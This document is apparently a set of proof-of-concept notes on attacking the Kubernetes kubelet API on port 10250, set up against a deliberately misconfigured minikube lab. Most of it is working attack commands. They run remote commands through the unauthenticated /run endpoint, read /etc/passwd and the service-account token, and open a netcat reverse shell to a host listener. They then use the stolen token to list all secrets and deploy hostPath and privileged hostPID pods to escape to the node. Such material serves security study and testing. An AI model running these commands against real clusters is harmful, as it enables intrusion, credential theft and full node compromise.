K8s hacking 10250
Attacks
- Unauthenticated APIs
- Remote Code Execution
- Obtaining Service Account Tokens
- Accessing the API from inside
- Install kubectl on target
- Escaping the container: Access to node filesystem
- Escaping the container: RCE on nodes
Test environment
Run misconfiguration test environment
minikube start --kubernetes-version='v1.20.2' --extra-config=kubelet.anonymous-auth=true --extra-config=kubelet.authorization-mode=AlwaysAllow
Deploy test app
kubectl create deployment hello-minikube --image=k8s.gcr.io/echoserver:1.4
kubectl expose deployment hello-minikube --type=NodePort --port=8080
You have to install netcat inside container
Mess Up with security (clusterRole.yml)
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: default
name: service-reader
rules:
- apiGroups: [""] # "" indicates the core API group
resources: ["services","pods", "pods/exec", "secrets"]
verbs: ["create", "get", "watch", "list", "delete"]
kubectl apply -f clusterRole.yml
kubectl create clusterrolebinding service-reader-pod --clusterrole=service-reader --serviceaccount=default:default
Check URL
Attacks POC
Unauthenticated APIs
export IP_ADDRESS=`minikube ip`
curl -s -k https://${IP_ADDRESS}:10250/runningpods/ | jq '.items[].metadata.name'
Remote Code Execution
export IP_ADDRESS=`minikube ip`
export NAMESPACE='default'
export POD_NAME='hello-minikube-6ddfcc9757-thqlz'
export CONTAINER_NAME='echoserver'
export COMMAND='cmd=ls' # cmd=ls OR cmd=whoami OR cmd=cat /etc/passwd
curl -XPOST -k https://${IP_ADDRESS}:10250/run/${NAMESPACE}/${POD_NAME}/${CONTAINER_NAME} -d "${COMMAND}"
Obtaining Service Account Tokens
export IP_ADDRESS=`minikube ip`
export NAMESPACE='default'
export POD_NAME='hello-minikube-6ddfcc9757-thqlz'
export CONTAINER_NAME='echoserver'
curl -XPOST -k https://${IP_ADDRESS}:10250/run/${NAMESPACE}/${POD_NAME}/${CONTAINER_NAME} -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
Accessing the API from inside
Start a listener on your host
Start the reverse shellecho "---===Hacking time===---"
export IP_ADDRESS=`minikube ip`
export NAMESPACE='default'
export POD_NAME='hello-minikube-6ddfcc9757-thqlz'
export CONTAINER_NAME='echoserver'
export COMMAND=$'netcat 192.168.49.1 4444 -e /bin/bash'
echo "ClusterIp: ${IP_ADDRESS}"
echo "Namespace: ${NAMESPACE}"
echo "POD: ${POD_NAME}"
echo "CONTAINER: ${CONTAINER_NAME}"
echo "COMMAND: ${COMMAND}"
curl -XPOST -k https://${IP_ADDRESS}:10250/run/${NAMESPACE}/${POD_NAME}/${CONTAINER_NAME} -d "cmd=${COMMAND}"
Install kubectl on target
Download kubectl binary
wget https://storage.googleapis.com/kubernetes-release/release/v1.20.2/bin/linux/amd64/kubectl && chmod +x kubectl
curl -o kubectl https://storage.googleapis.com/kubernetes-release/release/v1.20.2/bin/linux/amd64/kubectl && chmod +x kubectl
Validate drop
Export the token value
Use kubectl to talk internally with the API server
./kubectl --insecure-skip-tls-verify=true --server="https://kubernetes.default.svc:443" --token="${TOKEN}" get secrets --all-namespaces
Escaping the container: Access to node filesystem
cat <<EOF | ./kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: busybox
spec:
containers:
- name: busybox
image: busybox:1.32.0
args:
- sleep
- "1000000"
volumeMounts:
- name: node-host
mountPath: /node-host
volumes:
- name: node-host
hostPath:
path: /
type: Directory
EOF
Escaping the container: RCE on nodes
cat <<EOF | ./kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: busybox-up
spec:
hostPID: true
containers:
- name: busybox-up
image: busybox:1.32.0
args:
- sleep
- "1000000"
securityContext:
privileged: true
allowPrivilegeEscalation: true
capabilities:
add:
- SYS_ADMIN
EOF